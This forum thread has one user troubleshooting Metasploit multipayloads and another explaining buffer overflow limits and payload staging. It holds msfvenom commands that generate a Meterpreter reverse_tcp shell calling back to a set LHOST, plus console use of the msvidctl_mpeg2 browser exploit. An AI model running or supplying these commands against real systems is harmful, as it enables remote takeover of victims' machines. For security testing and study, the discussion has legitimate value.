I've been playing around with the newer MSF4 (Framework: 4.1.0-release.13988, Console : 4.1.0-release.13581) multipayload support using msfvenom and the custom/generic payload, but there seems to be a derth of informoration on what the payload supports in terms of encodings and compatibility.
Basically I'm looking at how a server side service can be shutdown, then have the meterpreter listen on it's no longer bound port. (the exploit would come in on another port)
Essentially I created a multipayload using msfvenom with the msgbox and Meterpreter back-to-back, as an exe, raw, and .rb. I've tried leaving the encoding setting alone, and setting it to None. (note that the custom/generic payload .rb source say something about only allowing None encoding)
c:\metasploit>ruby\bin\ruby.exe msf3\msfvenom -p windows/messagebox -f raw -e generic/none EXITFUNC=thread > test\msgbox.raw
c:\metasploit>ruby\bin\ruby.exe msf3\msfvenom -p windows/meterpreter/reverse_tcp -f raw -e generic/none -t test/msgbox.raw -k LHOST=192.168.1.100 EXITFUNC=thread > test\msgterp.raw
I also tried it with EXITFUNC set to "none":
c:\metasploit>ruby\bin\ruby.exe msf3\msfvenom -p windows/messagebox -f raw -e generic/none EXITFUNC=none > test\msgbox.raw
c:\metasploit>ruby\bin\ruby.exe msf3\msfvenom -p windows/meterpreter/reverse_tcp -f raw -e generic/none -t test/msgbox.raw -k LHOST=192.168.1.100 EXITFUNC=none> test\msgterp.raw
Then I need to write the raw multipayload to something that the generic/custom payload can use: (note I've tried writing to raw, exe, .rb formats)
c:\metasploit>ruby\bin\ruby.exe msf3\msfvenom -p - -f exe > msf.exe < test\\msgterp.raw
Finally it's time to try the multipayload out with generic/custom: (note that I reloaded the exploit each time before trying to set and exploit)
msf > use exploit/windows/browser/msvidctl_mpeg2
msf exploit(msvidctl_mpeg2) > set PAYLOAD generic/custom
PAYLOAD => generic/custom
msf exploit(msvidctl_mpeg2) > set PAYLOADSTR c:\\metasploit\\test\\msf.raw
PAYLOADSTR => c:\metasploit\test\msf.raw
msf exploit(msvidctl_mpeg2) > exploit
[-] Exploit failed: No encoders encoded the buffer successfully.
msf exploit(msvidctl_mpeg2) > set PAYLOADSTR c:\\metasploit\\test\\msf.exe
PAYLOADSTR => c:\metasploit\test\msf.exe
msf exploit(msvidctl_mpeg2) > exploit
[-] Exploit failed: No encoders encoded the buffer successfully.
msf exploit(msvidctl_mpeg2) > set PAYLOADFILE c:\\metasploit\\test\\msf.raw
PAYLOADFILE => c:\metasploit\test\msf.raw
msf exploit(msvidctl_mpeg2) > exploit
[-] Exploit failed: No encoders encoded the buffer successfully.
msf exploit(msvidctl_mpeg2) > set PAYLOADFILE c:\\metasploit\\test\\msf.exe
PAYLOADFILE => c:\metasploit\test\msf.exe
msf exploit(msvidctl_mpeg2) > exploit
[-] Exploit failed: No encoders encoded the buffer successfully.
So I found an explanation on what the "No encoders encoded..." error is supposed to mean. (http://en.wikibooks.org/wiki/Metasploit/Frequently_Asked_Questions) This is where stager payloads come in I suppose.
Is the cause of the error the windows/msgbox payload because its not staged? Or is it that multipayloads aren't staged? If it's the later, then I can't see how multipayloads would ever work unless they were staged. Combining 2 payloads would likely be larger than a single payload.
Can someone please at least explain the encodings and formats that should be compatible with the generic/payload payload so I can rule that out? I've only found a couple of references to multipayload support.
Thanks in advance! I promise to reply with how I got this working once I do.
I think it would be helpful for you to understand some exploit dynamics and classical memory corruption bug exploit strategies before diving into something like this.
May I suggest The Art of Software Security Assessment or Shellcoder's Handbook
That said, here is what is happeneing, When you 'cave' out memory in a buffer overflow, you have a limited amount of space available for your exploit before you hit the stored stack frame & instruction pointer, The MPEG2 browser bug (which you are trying to exploit) allocates 1024 bytes on the stack which is thusly the limit of your payload, as well, it is terminated by the standard series (\x00\x09\x0a\x0d, Thats null char, stop, Carriage Return, and Line Feed respectively), which further limits you to any shellcode which is not written with this in mind.
Metasploit however is pretty smart, it can usually mock out some instructions with 'safe' and exploitable instructions, however this is not always possible due to inconsistencies in instruction sets, stack explosions, etc. When msfvenom's payload is ran against the generators, nothing can 'work' and Metasploit throws your error.
As you have guessed, this means you need to stage your shellcode (err, I meant payload), A good staging payload typically can be mangled and spread across multiple memory locations and is still resilient (or repetitive) enough to automatically put itself back together using a technique called egg hunting, If I was in your shoes I would use the generic reverse bind windows/meterpreter/reverse_tcp however, because I don't believe that this specific exploit mixes ordinals or anything funky like that.
Best of Luck